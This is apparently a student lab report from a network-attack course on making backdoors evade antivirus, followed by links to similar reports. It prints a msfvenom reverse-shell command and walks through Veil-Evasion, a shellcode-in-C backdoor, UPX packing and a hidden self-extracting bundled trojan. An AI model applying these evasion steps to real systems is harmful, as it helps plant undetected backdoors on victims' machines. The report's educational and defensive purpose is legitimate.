2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践
2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践
————————CONTENTS————————
- 1. 免杀原理与实践说明
- 实验说明
- 基础问题回答
 
- 2. 使用msf编码器生成后门程序及检测
- 3. 使用veil-evasion生成后门程序及检测
- 4. 使用shellcode生成后门程序并检测
- 5. 实验中遇到的问题及思考
- 尝试点其他有趣的?——自解压捆绑木马
- 同样的病毒,不同的杀软杀出来不一样的结果?
 
- 6. 实验总结及体会
- 附:参考资料
1. 免杀原理与实践说明
一、实验说明
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分) 
- 任务二:通过组合应用各种技术实现恶意代码免杀(1分) 
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分) 
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
 
- 问:免杀是做什么?
- 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
 
- 问:免杀的基本方法有哪些?
- 改变特征码:
- 只有exe——加壳
- 有shellcode——利用shellcode生成可执行文件
- 有源代码——用其他语言重写再编译
 
- 改变行为:
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
 
 
- 改变特征码:
2. 使用msf编码器生成后门程序及检测
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:

可以看出,39款杀软中有20款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。
2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe指令进行多次编码:

再使用virscan.org进行扫描,结果如下所示:

仍然有19款杀软发现病毒。并没有什么卵用。多次编码之后的后门,还是会被大多数杀软发现并清理的。
3. 使用veil-evasion生成后门程序及检测
安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的原因和解释,最终还是拷贝了老师的虚拟机。
1、启动evail-evasion,设置好回连的IP地址和端口号后,生成后门文件:

2、放到virscan.org上扫描一下:

比之前用msf生成的文件报毒率低,但还是会被杀软检测出来。
4. 注入Shellcode并执行
在《Exp2:后门原理与实践》博客中,同样介绍了生成shellcode的方法,这次我们利用生成的shellcode编写后门程序,半手工打造恶意软件。
1、生成的shellcode如下图所示:

2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:

可以看到,成功获取了windows权限。
3、不幸的是,还是被杀毒软件发现了:

4、扫描发现,仍有20%的杀软能够扫描出来:

5、再进行加壳尝试吧。使用UPX对生成的后门程序加壳:

6、杀软没有发现它,扫描结果也比较乐观:


7、测试仍然可用:

5. 实验中遇到的问题及思考
一、尝试点其他有趣的?——自解压捆绑木马
随着人们对木马的了解和防范意识的增强,木马设计者们开发出了更多的功能来伪装木马,以达到降低用户警觉的目的。常用的伪装手段有:
- 修改图标:将木马服务端程序的图标改成HTML、TXT、ZIP等文件格式的图标,使其具有迷惑性。
- 文件捆绑:将木马捆绑到一个安装程序上,当安装程序运行时,木马便会在用户毫无察觉的情况下进入系统。被捆绑的文件一般是可执行文件(如EXE、COM等格式的文件),迷惑性很大。即使重装了系统,如果系统中还安装了那个程序,就很有可能再次中招。
- 更改木马服务端程序的名称:大多数改为与系统文件类似的名字,比如windows.exe啦,或者把后缀改为d11以模仿dll文件之类的。
- ......
在这里,我们来尝试制作自解压捆绑木马。
1、将要捆绑的文件们放在同一个文件夹下,右击选择“添加到压缩文件”

2、设置压缩参数。起一个有趣的名字,并勾选上“创建自解压格式压缩文件”复选框。

3、切换至“高级”选项卡,点击“自解压选项”,选中“模式”中的“全部隐藏”并确定。

4、再打开“文本和图标”选项卡,填写“自解压文件窗口标题”和“自解压文件窗口中显示的文本”,并找一个有趣的图标作为这个自解压文件的图标,比如下面这个比较符合“Linux软件教程”气质的图标:

点击确定按钮。

5、这样一来,我们就生成了一个看起来非常正经的自解压的压缩文件。

6、放到virscan.org试一下,虽说还是会被部分杀软发现,但概率降低了很多~

二、同样的病毒,不同的杀软杀出来不一样的结果?
在virscan.org上面检测的过程中,发现虽然上传的是一个文件,但不同的杀毒软件,扫描结果不尽相同。这是为什么呢?扫描出来的结果都是些什么呢?

查阅资料了解到,这是因为不同的杀毒软件病毒库不完全相同,杀毒引擎不一样,另外,不同的软件功臣是对病毒、系统漏洞的理解也不尽相同。这就造成了杀软结果的千差万别。
5. 实验总结及体会
- 离实战还缺什么步骤?
- 实验中的后门程序都是我们生硬地复制粘贴到靶机上的,但实际攻击的时候怎么可能乖乖让我们把一个赤裸裸的木马放过去?!所以这就用到了一些木马伪装技术,包括木马捆绑、自解压木马、CHM木马等等,课下也进行了浅显的了解和练习,发现的确离实战还有很长一段路要走...
 
- 这次实验还是一如既往的有趣,不管是平台生成还是手工打造,能生成一个不被杀软发现的后门程序还是有些难度的,需要在不断的摸索中一点一点尝试。虽然此次实验非常基础,对一些现有平台的依赖性仍然很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。
- 打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全。想生成一个不被发现的后门其实也不是什么难事。所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。
附:参考资料
												
											2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ... 
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
		2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ... 
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ... 
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ... 
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ... 
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ... 
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ... 
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
		- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ... 
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
		2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ... 
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
		2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ... 
随机推荐
- 自学Python1.5-Centos内python2识别中文
			自学Python之路 自学Python1.5-Centos内python2识别中文 方法一,python推荐使用utf-8编码方案 经验一:在开头声明: # -*- coding: utf-8 -*- ... 
- 如何在通用权限管理系统中集成log4net日志功能
			开发人员都知道,在系统运行中要记录各种日志,自己写一个日志功能,无论是在效率还是功能扩展上来说都不是很好,目前大多用的是第三方的日志系统,其中一个非常有名,用的最多的就是log4net.下面是关于这个 ... 
- 跟我一起使用electron搭建一个文件浏览器应用吧(二)
			这个文件浏览器应用可以具备以下两种功能噢- This file browser application can have the following two functions. 一:用户浏览文件夹和 ... 
- quartz简单定时任务【可以处理完一个任务才开启下一个线程】【我】
			maven jar project项目一个 pom文件: <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:x ... 
- EClipse for PHP 中文乱码问题
			UTF-8 格式的php,中文都是乱码. 如果此时在EClipse中输入中文会有 CP1252 错误( CP1252不支持xxxx ) 解决方法: windows->preferences-&g ... 
- JQ版本对比
			JQ不知不觉来到第三版了,那么它们有什么不同呢? 下面先给大家推一个CDN加速的网站,上面有各种JQ的版本:http://www.bootcdn.cn/jquery/ 先来对比一下它们的“体重”,23 ... 
- Scala进阶之路-正则表达式案例
			Scala进阶之路-正则表达式案例 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 废话不多说,正则大家都很清楚,那在Scala如何使用正则了?我们直接上个案例,如下: /* @au ... 
- HTML的前世今生
			HTML的基础知识扫盲 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 三年前,我就听周围的一些工程师说,python就是一个脚本语言,没啥好学的,学JAVA吧,python能干的J ... 
- 读取Easy UI的DATa grid里面的所有数据
			目前我知道的有两种方法: 1.读取行数,循环读出 $("#btnEcxel").click(function () { var rows = $('#tbVehicleList') ... 
- Hi3519v101-uboot-start.S分析
			00032: #include <config.h>00033: #include <version.h> 1)#include <config.h>.config ... 
